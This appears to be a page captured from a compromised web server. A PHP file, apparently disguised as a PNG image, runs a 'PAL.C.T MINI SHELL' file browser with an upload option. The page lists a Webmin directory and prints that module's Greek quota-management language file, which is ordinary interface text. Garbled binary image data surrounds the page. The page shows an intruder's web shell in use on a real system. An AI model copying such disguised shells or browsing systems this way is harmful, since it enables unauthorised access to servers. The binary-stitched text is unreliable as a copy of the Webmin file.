php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/quota/lang/
upload
files >> //usr/libexec/webmin/quota/lang/el.auto

quota_unlimited=Απεριόριστος

acl_fss=Συστήματα αρχείων που μπορεί να επεξεργαστεί αυτός ο χρήστης
acl_fall=Όλα τα συστήματα αρχείων
acl_fsel=Επιλεγμένα ..
acl_ro=Μπορεί να δει μόνο ποσοστώσεις, όχι να επεξεργαστεί;
acl_quotaon=Μπορεί να ενεργοποιήσει και να απενεργοποιήσει τις ποσοστώσεις;
acl_quotanew=Μπορεί να διαμορφώσει ποσοστώσεις για νέους χρήστες;
acl_ugrace=Μπορεί να επεξεργαστεί τους χρόνους χάριτος χρηστών;
acl_vtotal=Μπορεί να δει το συνολικό χώρο στο δίσκο;
acl_ggrace=Μπορούν να επεξεργαστούν τους χρόνους χάριτος ομάδας;
acl_uquota=Οι χρήστες αυτού του χρήστη μπορούν να επεξεργαστούν ποσοστώσεις για
acl_gquota=Ομάδες στον οποίο ο χρήστης μπορεί να επεξεργαστεί ποσοστώσεις για
acl_uall= Ολοι οι χρήστες
acl_uonly= Μόνο χρήστες
acl_uexcept= Όλοι εκτός από τους χρήστες
acl_ugroup= Χρήστες με κύρια ομάδα
acl_gall= Όλες οι ομάδες
acl_gnone= Δεν υπάρχουν ομάδες
acl_gonly= Μόνο ομάδες
acl_gexcept= Όλοι εκτός από τις ομάδες
acl_uuid=Χρήστες με UID στο εύρος
acl_ggid=Ομάδες με GID στο εύρος
acl_maxblocks=Μέγιστη ποσόστωση δεσμευτικού τμήματος
acl_maxfiles=Μέγιστη ποσόστωση φακέλου παραληπτών
acl_unlimited=Απεριόριστος
acl_email=Μπορεί να ρυθμίσει τις ειδοποιήσεις ηλεκτρονικού ταχυδρομείου

activate_eallow=Δεν επιτρέπεται να ενεργοποιείτε ή να απενεργοποιείτε τις ποσοστώσεις σε αυτό το σύστημα αρχείων
activate_eon=Δεν ήταν δυνατή η ενεργοποίηση των ποσοστώσεων
activate_eoff=Αποτυχία απενεργοποίησης ποσοστώσεων

check_title=Ελέγξτε τις ποσοστώσεις
check_return=$1 λίστα
check_ecannot=Δεν μπορείτε να ελέγξετε τις ποσοστώσεις σε αυτό το σύστημα αρχείων
check_running=Η εντολή <tt>quotacheck</tt> εκτελείται τώρα για να ελέγξει τη χρήση του μπλοκ και του αρχείου στο <tt>$1</tt>. Αυτό μπορεί να πάρει πολύ χρόνο για ένα πολύ μεγάλο σύστημα αρχείων. ..
check_done=... Ολοκληρώθηκε.
check_rgroup=ομάδα
check_ruser=χρήστης

cgroup_efail=Αποτυχία αντιγραφής ποσοστώσεων
cgroup_ecannot=Δεν μπορείτε να αντιγράψετε ποσοστώσεις
cgroup_egallow=Δεν επιτρέπεται να αντιγράψετε τις ποσοστώσεις αυτής της ομάδας
cgroup_enogroup=Δεν υπάρχουν ομάδες προς αντιγραφή
cgroup_eallowto=Δεν επιτρέπεται η αντιγραφή ποσοστώσεων σε "$1"

cgform_title=Αντιγράψτε τις ποσοστώσεις
cgform_return=ποσόστωση ομάδας
cgform_ecannot=Δεν μπορείτε να αντιγράψετε ποσοστώσεις
cgform_egroup=Δεν επιτρέπεται να αντιγράψετε τις ποσοστώσεις αυτής της ομάδας
cgform_copyto=Αντιγράψτε τις ποσοστώσεις για το <tt>$1</tt> σε όλα τα συστήματα αρχείων σε. ..
cgform_all=Όλες οι ομάδες στο σύστημά σας
cgform_select=Επιλεγμένες ομάδες
cgform_contain=Ομάδες που περιέχουν χρήστες
cgform_doit=αντίγραφο

cuser_efail=Αποτυχία αντιγραφής ποσοστώσεων
cuser_ecannot=Δεν μπορείτε να αντιγράψετε ποσοστώσεις
cuser_euallow=Δεν επιτρέπεται να αντιγράψετε τις ποσοστώσεις αυτού του χρήστη
cuser_enouser=Δεν υπάρχουν χρήστες στους οποίους να αντιγράψετε
cuser_eallowto=Δεν επιτρέπεται η αντιγραφή ποσοστώσεων σε "$1"

cuform_title=Αντιγράψτε τις ποσοστώσεις
cuform_return=ποσόστωση χρήστη
cuform_ecannot=Δεν μπορείτε να αντιγράψετε ποσοστώσεις
cuform_euallow=Δεν επιτρέπεται να αντιγράψετε τις ποσοστώσεις αυτού του χρήστη
cuform_copyto=Αντιγράψτε τις ποσοστώσεις για το <tt>$1</tt> σε όλα τα συστήματα αρχείων σε. ..
cuform_all=Όλοι οι χρήστες στο σύστημά σας
cuform_select=Επιλεγμένοι χρήστες
cuform_members=Μέλη επιλεγμένων ομάδων
cuform_doit=αντίγραφο

egroup_title=Επεξεργασία ποσοστώσεων ομάδας
egroup_freturn=λίστα αρχείων συστήματος
egroup_greturn=λίστα ομάδων
egroup_eallowgr=Δεν επιτρέπεται η επεξεργασία ποσοστώσεων για το '$1'
egroup_eallowfs=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων
egroup_quotas=Ποσόστωση για <tt>$1</tt> στο <tt>$2</tt>
egroup_bused=Χρησιμοποιημένα μπλοκ
egroup_kused=Χρησιμοποιούνται Kilobytes
egroup_sblimit=Όριο μαλακού μπλοκ
egroup_hblimit=Όριο σκληρού μπλοκ
egroup_sklimit=Μέγιστο όριο kilobyte
egroup_hklimit=Όριο σκληρού kilobyte
egroup_fused=Χρησιμοποιούνται αρχεία
egroup_sflimit=Μέγιστο όριο αρχείου
egroup_hflimit=Όριο σκληρού αρχείου
egroup_update=Εκσυγχρονίζω
egroup_listall=Κατάλογος όλων των ποσοστώσεων
egroup_listalldesc=Κάντε κλικ σε αυτό το κουμπί για να εμφανίσετε μια λίστα με όλα τα συστήματα αρχείων στα οποία έχει αυτή η ομάδα ποσοστώσεις δίσκου, με συνδέσμους για την επεξεργασία τους.

euser_title=Επεξεργασία ποσοστώσεων χρήστη
euser_freturn=λίστα αρχείων συστήματος
euser_ureturn=λίστα χρηστών
euser_eallowus=Δεν επιτρέπεται η επεξεργασία ποσοστώσεων για το '$1'
euser_eallowfs=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων
euser_quotas=Ποσόστωση για <tt>$1</tt> στο <tt>$2</tt>
euser_bused=Χρησιμοποιημένα μπλοκ
euser_kused=Χρησιμοποιούνται Kilobytes
euser_bdisk=Διαθέσιμα μπλοκ στο δίσκο
euser_kdisk=Διαθέσιμα κιλοβάτ στο δίσκο
euser_sdisk=Διαθέσιμος χώρος στο δίσκο
euser_sblimit=Όριο μαλακού μπλοκ
euser_hblimit=Όριο σκληρού μπλοκ
euser_sklimit=Μέγιστο όριο kilobyte
euser_hklimit=Όριο σκληρού kilobyte
euser_fused=Χρησιμοποιούνται αρχεία
euser_fdisk=Διαθέσιμα αρχεία στο δίσκο
euser_sflimit=Μέγιστο όριο αρχείων
euser_hflimit=Όριο σκληρού αρχείου
euser_update=Εκσυγχρονίζω
euser_listall=Κατάλογος όλων των ποσοστώσεων
euser_listalldesc=Κάντε κλικ σε αυτό το κουμπί για να εμφανίσετε μια λίστα με όλα τα συστήματα αρχείων στα οποία ο χρήστης έχει ποσοστώσεις δίσκου, με συνδέσμους για την επεξεργασία τους.

gfilesys_title=Ποσοστώσεις ομάδων
gfilesys_return=λίστα συστημάτων αρχείων
gfilesys_ecannot=Δεν μπορείτε να επεξεργαστείτε ποσοστώσεις για "$1"
gfilesys_all=Όλες οι ποσοστώσεις για $1 
gfilesys_blocks=Αποκλεισμός
gfilesys_kbs=Kilobytes
gfilesys_space=Χώρος στο δισκο
gfilesys_files=Αρχεία
gfilesys_fs=Σύστημα αρχείων
gfilesys_used=Μεταχειρισμένος
gfilesys_soft=Μαλακό Όριο
gfilesys_hard=Σκληρό όριο
gfilesys_nogquota=Η ομάδα <tt>$1</tt> δεν έχει ποσοστώσεις σε κανένα σύστημα αρχείων
gfilesys_edit=Επεξεργασία ποσοστώσεων:
gfilesys_copy=Αντιγράψτε τις ποσοστώσεις
gfilesys_editdesc=Προβάλετε και επεξεργαστείτε τις ποσοστώσεις για αυτήν την ομάδα σε κάποιο άλλο σύστημα αρχείων που δεν διαθέτει επί του παρόντος ποσοστώσεις.
gfilesys_copydesc=Αντιγράψτε τα όρια ποσοστώσεων για αυτήν την ομάδα σε όλα τα συστήματα αρχείων σε ορισμένες ή σε όλες τις άλλες ομάδες.
gfilesys_enone=Δεν εισήχθη κανένα όνομα ομάδας

ggracef_title=Χρόνος χάριτος
ggracef_return=λίστα ομάδων
ggracef_ecannot=Δεν μπορείτε να επεξεργαστείτε χρόνους χάριτος σε αυτό το σύστημα αρχείων
ggracef_info=Κάθε σύστημα αρχείων έχει χρόνο χάριτος για τις ποσοστώσεις μπλοκ και αρχείου. Ο χρόνος χάριτος καθορίζει πόσο μπορεί να παραμείνει μια ομάδα πάνω από το μαλακό όριο πριν δεν επιτρέπεται η δημιουργία περισσότερων αρχείων.
ggracef_graces=Ομαδοποιημένοι χρόνοι ομάδας για <tt>$1</tt>
ggracef_block=Για ποσόστωση μπλοκ
ggracef_file=Για ποσόστωση αρχείου
ggracef_update=Εκσυγχρονίζω

ggraces_esave=Αποτυχία εξοικονόμησης χρόνου χάριτος
ggraces_eedit=Δεν μπορείτε να επεξεργαστείτε χρόνους χάριτος σε αυτό το σύστημα αρχείων
ggraces_enumber=Το '$1' δεν είναι ένας αριθμός

index_quser=Ποσοστώσεις χρηστών
index_qgroup=Ομαδικές ποσοστώσεις
index_qboth=Ποσοστώσεις χρηστών και ομάδων
index_active=ενεργός
index_disable=Απενεργοποιήστε τις ποσοστώσεις
index_inactive=αδρανής
index_enable=Ενεργοποίηση ποσοστώσεων
index_supported=Οι ποσοστώσεις δεν υποστηρίζονται ακόμη
index_enable2=Ενεργοποιήστε την υποστήριξη
index_mountonly=Μπορεί να ενεργοποιηθεί μόνο κατά την εγκατάσταση
index_title=Τιμές δίσκου
index_fs=Σύστημα αρχείων
index_type=Τύπος
index_mount=Τοποθετημένο από
index_status=Κατάσταση
index_action=Δράση
index_return=δείκτης
index_euser=Επεξεργασία ποσοστών χρήστη:
index_euserdesc=Εισαγάγετε ή επιλέξτε έναν χρήστη και κάντε κλικ σε αυτό το κουμπί για να δείτε τις ποσοστώσεις του σε όλα τα συστήματα αρχείων.
index_egroup=Επεξεργασία ποσοστώσεων ομάδας:
index_egroupdesc=Εισαγάγετε ή επιλέξτε μια ομάδα και κάντε κλικ σε αυτό το κουμπί για να δείτε τις ποσοστώσεις σε όλα τα συστήματα αρχείων.
index_nosupport=Δεν υπάρχουν τοπικά συστήματα αρχείων που να υποστηρίζουν τις ποσοστώσεις.
index_mountmod=Μπορείτε να ενεργοποιήσετε τις ποσοστώσεις για ένα σύστημα αρχείων στη λειτουργική μονάδα <a href='$1'>Disk and Network Files</a>.

lgroups_failed=Απέτυχε η λίστα ομάδων
lgroups_tablist=Λίστα ομάδων
lgroups_eallow=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων
lgroups_title=Τιμές συστήματος αρχείων
lgroups_return=λίστα συστημάτων αρχείων
lgroups_toomany=Πολλές ομάδες έχουν ποσοστώσεις στο <tt>$1</tt> για προβολή σε μία σελίδα
lgroups_quotas=Όλες οι ποσοστώσεις ομάδας σε <tt>$1</tt>
lgroups_blocks=Αποκλεισμός
lgroups_kbs=Kilobytes
lgroups_space=Χώρος στο δισκο
lgroups_files=Αρχεία
lgroups_group=Ομάδα
lgroups_used=Μεταχειρισμένος
lgroups_soft=Μαλακό Όριο
lgroups_hard=Σκληρό όριο
lgroups_noquota=Καμία ομάδα δεν έχει ποσοστώσεις στο <tt>$1</tt>
lgroups_equota=Επεξεργασία ποσοστώσεων για:
lgroups_grace=Επεξεργασία χρόνων χάριτος
lgroups_check=Ελέγξτε τις ποσοστώσεις
lgroups_info=Το Webmin μπορεί να ρυθμιστεί ώστε να ρυθμίζει αυτόματα τις ποσοστώσεις σε αυτό το σύστημα αρχείων όταν δημιουργηθεί μια νέα ομάδα Unix. Αυτό θα λειτουργήσει μόνο όταν χρησιμοποιείται η ομάδα $1 Webmin για την προσθήκη ομάδων.
lgroups_newgroup=Νέες ποσοστώσεις ομάδων
lgroups_mass=Ενημέρωση επιλεγμένων ομάδων
lgroups_to=Ο προορισμός ηλεκτρονικού ταχυδρομείου
lgroups_tosame=Γραμματοκιβώτιο με το ίδιο όνομα με την ομάδα
lgroups_tofixed=Διεύθυνση 1
lgroups_emailheader=Αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου σε ομάδες που προσεγγίζουν τις ποσοστώσεις
lgroups_email=Αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου σε ομάδες;
lgroups_tovirt=Ιδιοκτήτης τομέα Virtualmin

sgroup_egroup=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις για αυτήν την ομάδα
sgroup_efs=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων

ssync_ecannot=Δεν μπορείτε να ορίσετε την προεπιλεγμένη ποσόστωση για αυτό το σύστημα αρχείων

suser_euser=Δεν επιτρέπεται η επεξεργασία ποσοστώσεων για αυτόν τον χρήστη
suser_efs=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων
suser_emaxblocks=Δεν επιτρέπεται να χορηγείτε όρια μπλοκ πάνω από $1 
suser_emaxfiles=Δεν επιτρέπεται να χορηγείτε όρια αρχείων άνω του $1 

ufilesys_title=Ποσοστώσεις χρηστών
ufilesys_return=λίστα συστημάτων αρχείων
ufilesys_ecannot=Δεν μπορείτε να επεξεργαστείτε ποσοστώσεις για "$1"
ufilesys_all=Όλες οι ποσοστώσεις για το <tt>$1</tt>
ufilesys_blocks=Αποκλεισμός
ufilesys_kbs=Kilobytes
ufilesys_space=Χώρος στο δισκο
ufilesys_files=Αρχεία
ufilesys_fs=Σύστημα αρχείων
ufilesys_used=Μεταχειρισμένος
ufilesys_soft=Μαλακό Όριο
ufilesys_hard=Σκληρό όριο
ufilesys_nouquota=Ο χρήστης <tt>$1</tt> δεν έχει ποσοστώσεις σε κανένα σύστημα αρχείων
ufilesys_edit=Επεξεργασία ποσοστώσεων:
ufilesys_editdesc=Προβάλετε και επεξεργαστείτε τις ποσοστώσεις για αυτόν το χρήστη σε κάποιο άλλο σύστημα αρχείων που δεν έχει επί του παρόντος ποσοστώσεις.
ufilesys_copydesc=Αντιγράψτε τα όρια ποσοστώσεων για αυτόν τον χρήστη σε όλα τα συστήματα αρχείων σε μερικούς ή όλους τους άλλους χρήστες.
ufilesys_copy=Αντιγράψτε τις ποσοστώσεις
ufilesys_grace=Χάρη
ufilesys_enone=Δεν εισήχθη όνομα χρήστη

ugracef_title=Χρόνος χάριτος
ugracef_return=λίστα χρηστών
ugracef_ecannot=Δεν μπορείτε να επεξεργαστείτε χρόνους χάριτος σε αυτό το σύστημα αρχείων
ugracef_info=Κάθε σύστημα αρχείων έχει χρόνο χάριτος για τις ποσοστώσεις μπλοκ και αρχείου. Ο χρόνος χάριτος καθορίζει πόσο μπορεί ένας χρήστης να παραμείνει πάνω από το μαλακό όριο πριν να μην επιτρέπεται η δημιουργία περισσότερων αρχείων.
ugracef_graces=User Grace Times για <tt>$1</tt>
ugracef_block=Για ποσόστωση μπλοκ
ugracef_file=Για ποσόστωση αρχείου
ugracef_update=Εκσυγχρονίζω

ugraces_esave=Αποτυχία εξοικονόμησης χρόνου χάριτος
ugraces_eedit=Δεν μπορείτε να επεξεργαστείτε χρόνους χάριτος σε αυτό το σύστημα αρχείων
ugraces_enumber=Το '$1' δεν είναι ένας αριθμός

lusers_failed=Αποτυχία κατάταξης χρηστών
lusers_tablist=Λίστα χρηστών
lusers_tabdefault=Προκαθορισμένες ποσοστώσεις
lusers_tabemail=Ειδοποιήσεις ηλεκτρονικού ταχυδρομείου
lusers_eallow=Δεν επιτρέπεται να επεξεργαστείτε ποσοστώσεις σε αυτό το σύστημα αρχείων
lusers_title=Τιμές συστήματος αρχείων
lusers_return=λίστα συστημάτων αρχείων
lusers_toomany=Πολλοί χρήστες έχουν ποσοστώσεις στο <tt>$1</tt> για προβολή σε μία σελίδα
lusers_qoutas=Όλες οι ποσοστώσεις χρηστών στο <tt>$1</tt>
lusers_bsize=Μέγεθος μπλοκ ποσόστωσης: $1 byte
lusers_blocks=Αποκλεισμός
lusers_kbs=Kilobytes
lusers_space=Χώρος στο δισκο
lusers_files=Αρχεία
lusers_user=Χρήστης
lusers_used=Μεταχειρισμένος
lusers_soft=Μαλακό Όριο
lusers_hard=Σκληρό όριο
lusers_grace=Χάρη
lusers_noquota=Κανένας χρήστης δεν έχει ποσοστώσεις στο <tt>$1</tt>
lusers_equota=Επεξεργασία ποσοστώσεων για:
lusers_egrace=Επεξεργασία χρόνων χάριτος
lusers_check=Ελέγξτε τις ποσοστώσεις
lusers_info=Το Webmin μπορεί να ρυθμιστεί ώστε να ρυθμίζει αυτόματα τις ποσοστώσεις σε αυτό το σύστημα αρχείων όταν δημιουργείται ένας νέος χρήστης Unix. Αυτό θα λειτουργήσει μόνο όταν χρησιμοποιείται η ενότητα $1 Webmin για την προσθήκη χρηστών.
lusers_useradmin=Χρήστες και Ομάδες
lusers_newuser=Νέες ποσοστώσεις χρηστών
lusers_sblimit=Μαλακό όριο
lusers_hblimit=Σκληρό όριο
lusers_sflimit=Μέγιστο όριο αρχείων
lusers_hflimit=Όριο σκληρού αρχείου
lusers_pc_hblocks=Σκληρά %
lusers_pc_sblocks=Μαλακό %
lusers_apply=Ισχύουν
lusers_emailheader=Αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου στους χρήστες που πλησιάζουν την ποσόστωση
lusers_email=Στείλτε email στους χρήστες;
lusers_interval=Διάστημα μεταξύ μηνυμάτων
lusers_hours=ώρες
lusers_ltype=Τύπος ορίου
lusers_percent=Προειδοποίηση όταν φθάνει η χρήση
lusers_domain=Τομέας διευθύνσεων χρηστών
luser_virtualmin=Αποκτήστε domain από το Virtualmin;
lusers_from=Από: διεύθυνση ηλεκτρονικού ταχυδρομείου
lusers_mass=Ενημέρωση επιλεγμένων χρηστών
lusers_cc=Επίσης, στείλτε email στο
lusers_nocc=Κανείς

grace_seconds=Δευτερόλεπτα
grace_minutes=Λεπτά
grace_hours=Ωρες
grace_days=Ημέρες
grace_weeks=Εβδομάδες
grace_months=Μήνες

log_activate_u=Ενεργοποιημένες ποσοστώσεις χρηστών στο $1 
log_activate_g=Ενεργοποιήθηκαν ποσοστώσεις ομάδων στο $1 
log_activate_ug=Ενεργοποίηση ποσοστώσεων χρηστών και ομάδων στο $1 
log_deactivate_u=Απενεργοποιημένες ποσοστώσεις χρηστών στο $1 
log_deactivate_g=Απενεργοποίηση ποσοστώσεων ομάδων στο $1 
log_deactivate_ug=Απενεργοποιημένες ποσοστώσεις χρηστών και ομάδων στο $1 
log_save=Αλλαγή ποσοστώσεων για το $1 στο $2 
log_sync=Αλλαγή νέων ποσοστώσεων χρήστη στο $1 
log_email_user=Αλλάξτε τις επιλογές ηλεκτρονικού ταχυδρομείου χρήστη στο $1 
log_email_group=Αλλάξτε τις επιλογές email ομάδας στο $1 
log_gsync=Αλλαγή ποσοστώσεων νέων ομάδων στο $1 
log_grace_u=Αλλαγή χρόνων χάριτος χρηστών στο $1 
log_grace_g=Αλλαγή χρόνων χάριτος ομάδας στο $1 
log_check=Ελέγξαμε τις ποσοστώσεις στο $1 
log_copy_u=Αντιγράφηκαν οι ποσοστώσεις χρήστη $1 
log_copy_g=Αντιγράφηκαν ποσοστώσεις ομάδας $1 
log_support=Ενεργοποιημένη υποστήριξη ποσοστώσεων για το $1 

email_err=Αποτυχία αποθήκευσης των επιλογών ηλεκτρονικού ταχυδρομείου
email_ecannot=Δεν επιτρέπεται η τροποποίηση επιλογών ηλεκτρονικού ταχυδρομείου
email_einterval=Λείπει ή μη έγκυρο διάστημα
email_epercent=Λείπει ή μη έγκυρο ποσοστό χρήσης
email_edomain=Λανθασμένος ή μη έγκυρος τομέας αλληλογραφίας
email_efrom=Λείπει ή είναι άκυρη από: διεύθυνση
email_ecc=Λείπει ή δεν είναι έγκυρη Cc: διεύθυνση
email_msg=Η χρήση του δίσκου για τον χρήστη $1 στο σύστημα αρχείων $2 έφθασε το $3% της επιτρεπόμενης ποσόστωσης. Χρησιμοποιείται $4 χώρου στο δίσκο, από το μέγιστο $5.
gemail_msg=Η χρήση δίσκου για την ομάδα $1 στο σύστημα αρχείων $2 έφθασε το $3% της επιτρεπόμενης ποσόστωσης. Χρησιμοποιείται $4 χώρου στο δίσκο, από το μέγιστο $5.
email_subject=Η ποσόστωση δίσκου υπερέβη
gemail_subject=Η ποσόστωση δίσκου υπερέβη
email_eto=Λείπει η διεύθυνση ηλεκτρονικού ταχυδρομείου προορισμού

umass_title=Ενημέρωση των ποσοστών χρηστών
umass_header=Οι αλλαγές ποσοστώσεων ισχύουν για επιλεγμένους χρήστες
umass_sblocks=Όριο μαλακού μπλοκ
umass_hblocks=Όριο σκληρού μπλοκ
umass_sfiles=Περιορισμός μαλακών αρχείων
umass_hfiles=Περιορίστε τα σκληρά αρχεία
umass_leave=Αφήστε αμετάβλητη
umass_unlimited=Ρυθμίστε σε απεριόριστο
umass_set=Οριστεί σε
umass_ok=Ενημέρωση χρηστών
umass_esblocks=Λανθασμένο ή μη έγκυρο όριο μαλακού μπλοκ
umass_ehblocks=Λανθασμένο ή μη έγκυρο όριο σκληρού μπλοκ
umass_esfiles=Λείπει ή μη έγκυρο όριο μαλακών αρχείων
umass_ehfiles=Λανθασμένο ή μη έγκυρο όριο σκληρού αρχείου
umass_count=Οι παρακάτω αλλαγές ισχύουν για $1 επιλεγμένους χρήστες.
umass_err=Δεν ήταν δυνατή η ενημέρωση των ποσοστώσεων χρηστών

gmass_title=Ενημέρωση ποσοστώσεων ομάδας
gmass_header=Οι αλλαγές ποσοστώσεων ισχύουν για επιλεγμένες ομάδες
gmass_count=Οι παρακάτω αλλαγές θα ισχύουν για τις επιλεγμένες ομάδες $1.
gmass_ok=Ενημέρωση ομάδων
gmass_err=Δεν ήταν δυνατή η ενημέρωση των ποσοστώσεων ομάδας
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`